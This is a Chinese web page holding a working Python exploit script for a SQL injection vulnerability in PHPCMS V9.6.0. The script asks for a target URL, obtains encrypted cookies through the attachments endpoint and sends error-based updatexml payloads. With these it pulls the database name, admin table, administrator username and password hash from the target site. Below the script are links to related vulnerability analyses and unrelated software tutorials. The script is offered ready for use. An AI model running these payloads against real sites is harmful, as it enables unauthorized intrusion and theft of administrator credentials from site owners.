PHPCMS V9.6.0 SQL注入漏洞EXP
运行于python3.5
import requests
import time
import re
import sys def banner():
msg = '''--------------EXP IS PHPCMS V9.6.0---------------'''
print(msg)
def get_encrypt_value(payload,url):
url_com = url + payload
url_1 = "{}/index.php?m=wap&a=index&siteid=1".format(url)
cookies = requests.get(url_1).cookies
for c in cookies:
if c.name[-7:]=='_siteid':
cookie_head=c.name[:6]
cookies[cookie_head + '_userid']=c.value
cookies[c.name]=c.value
break
encrypt_cookie = requests.get(url_com,cookies=cookies).cookies
for c in encrypt_cookie:
if c.name[-9:] == '_att_json':
encrypt_data = c.value
break
return get_data(url,encrypt_data)
def get_data(url,data):
url = "{}/index.php?m=content&c=down&a_k={}".format(url,data)
rsp = requests.get(url)
cc = re.findall(r"XPATH syntax error: '~(.*?)~' <br />",rsp.text)
return cc
def get_payload(url):
data = []
try:
payload_db_name = {"db_name":"/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20database%28%29%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1"}
db_name = get_encrypt_value(payload_db_name.get('db_name'),url)
db_name = db_name[0]
data.append(db_name)
except:
str = "***"
data.append(str)
try:
payload_table_name = {"table_name":"/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20table_name%*20from%*20information_schema.tables%*20where%*20table_schema%3D%*27"+db_name+"%*27%*20limit%*200%2C1%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1"}
table_name = get_encrypt_value(payload_table_name.get('table_name'),url)
table_name = table_name[0]
data.append(table_name)
except:
str = "***"
data.append(str)
try:
payload_admin_name = {"admin_name":"/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20mid%28%28SELECT%*20username%*20from%*20"+table_name+"%*20limit%*200%2C1%29%2C1%2C16%29%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1"}
admin_name = get_encrypt_value(payload_admin_name.get('admin_name'),url)
admin_name = admin_name[0]
data.append(admin_name)
except:
str = "***"
data.append(str)
try:
payload_pass_s16 = {"pass_s16":"/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20mid%28%28SELECT%*20password%*20from%*20"+table_name+"%*20limit%*200%2C1%29%2C1%2C16%29%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1"}
pass_s16 = get_encrypt_value(payload_pass_s16.get('pass_s16'),url)
pass_s16 = pass_s16[0]
except:
pass
try:
payload_pass_x16 = {"pass_x16":"/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=1%*27%*20and%*20updatexml%281%2Cconcat%280x7e%2C%28select%*20mid%28%28SELECT%*20password%*20from%*20"+table_name+"%*20limit%*200%2C1%29%2C16%2C20%29%29%2C0x7e%29%2C1%29%23%26m%3D1%26modelid%3D1%26f%3D1%26catid%3D1"}
pass_x16 = get_encrypt_value(payload_pass_x16.get('pass_x16'),url)
pass_x16 = pass_x16[0]
password = pass_s16 + pass_x16
data.append(password)
except:
str = "***"
data.append(str)
output_data(data)
def output_data(data):
output = '''
database name is : {0}
table name is : {1}
admin username is : {2}
admin password is : {3}
'''.format(data[0],data[1],data[2],data[3])
print(output)
def get_url():
url = input("Please input url:")
if ("http://"in url) or ("https://" is url):
return url
else:
print("Warning: Please input http:// or https:// ! try again !")
def main():
banner()
url = get_url()
print("[*] target:{}".format(url))
get_payload(url)
print("[*] shutting down at {0}".format(time.strftime("%X")))
if __name__ == '__main__':
main()
PHPCMS V9.6.0 SQL注入漏洞EXP的更多相关文章
- PHPCMS V9.6.0 SQL注入漏洞分析
0x01 此SQL注入漏洞与metinfo v6.2.0版本以下SQL盲注漏洞个人认为较为相似.且较为有趣,故在此分析并附上exp. 0x02 首先复现漏洞,环境为: PHP:5.4.45 + Apa ...
- 最新phpcms v9.6.0 sql注入漏洞分析
昨天爆出来的,但其实在此之前就i记得在某群看见有大牛在群里装逼了.一直也没肯告诉.现在爆出来了.就来分析一下.官方现在也还没给出修复.该文不给出任何利用的EXP. 该文只做安全研究,不做任何恶意攻击! ...
- Beescms_v4.0 sql注入漏洞分析
Beescms_v4.0 sql注入漏洞分析 一.漏洞描述 Beescms v4.0由于后台登录验证码设计缺陷以及代码防护缺陷导致存在bypass全局防护的SQL注入. 二.漏洞环境搭建 1.官方下载 ...
- phpcms 2008 /preview.php SQL注入漏洞
漏洞版本: phpcms 2008 漏洞描述: phpcms2008 是一款基于 PHP+Mysql 架构的网站内容管理系统,也是一个开源的 PHP 开发平台. phpcms 2008的preview ...
- [CMS] UsualToolCMS-8.0 sql注入漏洞【转载】
原文地址:http://lyscholar.cn/2019/07/30/代码审计-usualtoolcms存在sql注入漏洞/ 0x01 漏洞环境 版本信息:UsualToolCMS-8.0-Rele ...
- 【原创】风讯DotNetCMS V1.0~V2.0 SQL注入漏洞
文章作者:rebeyond 注:文章首发I.S.T.O信息安全团队,后由原创作者友情提交到乌云-漏洞报告平台.I.S.T.O版权所有,转载需注明作者. 受影响版本:貌似都受影响. 漏洞文件:use ...
- 代码审计-MetInfo 6.0.0 sql注入漏洞
首先漏洞存在于app\system\message\web\message.class.php文件中,变量{$_M[form][id]} 直接拼接在SQL语句中,且验证码检测函数是在SQL语句查询之后 ...
- 74CMS 3.0 SQL注入漏洞后台
代码审计工具:seay CMS:74CMS3.0 一. 启动环境 1.双击运行桌面phpstudy.exe软件 2.点击启动按钮,启动服务器环境 二.代码审计 1.双击启动桌面Seay源代码审计系统软 ...
- 74CMS 3.0 SQL注入漏洞前台
一. 启动环境 1.双击运行桌面phpstudy.exe软件 2.点击启动按钮,启动服务器环境 二.代码审计 1.双击启动桌面Seay源代码审计系统软件 2.因为74CMS3.0源代码编辑使用GBK编 ...
随机推荐
- Fruity Parametric EQ 2使用说明(二)——FL Studio插件教程
Fruity Parametric EQ 2均衡器,是一款我们在FL Studio制作音乐时经常会用到的插件,它是EQ中的战斗鸡,它不仅有一个高级的 7 波段参数均衡器,还具有声谱分析能力.我们在对很 ...
- 使用CorelDRAW修饰用于打印的图像
CorelDRAW在打印输出方面一直做的非常棒,它不仅是一款专业的矢量绘图软件,位图处理也是很厉害的.本文我们讲述修饰.处理数码相机图像,以便将其用于 CMYK 打印作业的一些重要步骤,先来看下被调整 ...
- 如何合理利用iMindMap中的模板创建思维导图
思维导图的制作并不是一项简单的工作,尤其是对许多工作或学习有特殊要求的朋友而言,当我们需要应对不同场景制作不同的思维导图时,总不能都靠自己从头制作,这样难度比较大也比较耗时.而iMindMap(win ...
- Mac专用下载器Folx软件中有没有“下载速度控制”功能
Mac专用下载器Folx软件不仅下载速度快,功能多,而且也可以实现下载上传速度控制的功能.下面小编将在Mac系统平台上,使用Folx 5版本,向大家全面介绍下Folx这款下载软件的速度控制功能,其中包 ...
- 从维基百科等网站复制公式到MathType中
在写论文的时候你会想要一些比书本上更好的实例,所以你会在网上寻找资源.当你发现一个你想要的公式时,发现网页公式复制粘贴后太模糊而不适合打印或者投影.这种问题在MathType中如何解决呢? 你可以将网 ...
- guitar pro系列教程(九):Guitar Pro音谱“编辑”讲解
对广大音乐人来说,guitar pro不只是一款看谱软件,更是制谱辅助创作的好搭档 打开guitar pro创作软件的 主界面,你会看到"编辑"的字样,单击一下,会弹出下面的界面, ...
- C语言模拟实现先来先服务(FCFS)和短作业优先(SJF)调度算法
说明 该并非实现真正的处理机调度,只是通过算法模拟这两种调度算法的过程. 运行过程如下: 输入进程个数 输入各个进程的到达事件 输入各个进程的要求服务事件 选择一种调度算法 程序给出调度结果:各进程的 ...
- [COCI2016-2017#1] Mag 结论证明
结论:最多包含一个 \(2\),并且不在链的两端点. 证明:我们问题分成两个 \(\texttt{pass}\). \(\texttt{pass 1}\):\(\forall u,s.t.x_{u}\ ...
- LeetCode双周赛#36
1604. 警告一小时内使用相同员工卡大于等于三次的人 题目链接 题意 给定两个字符串数组keyName和keyTime,分别表示名字为keytime[i]的人,在某一天内使用员工卡的时间(格式为24 ...
- 【mq读书笔记】消息确认(失败消息,定时队列重新消费)
接上文的集群模式,监听器返回RECONSUME_LATER,需要将将这些消息发送给Broker延迟消息.如果发送ack消息失败,将延迟5s后提交线程池进行消费. 入口:ConsumeMessageCo ...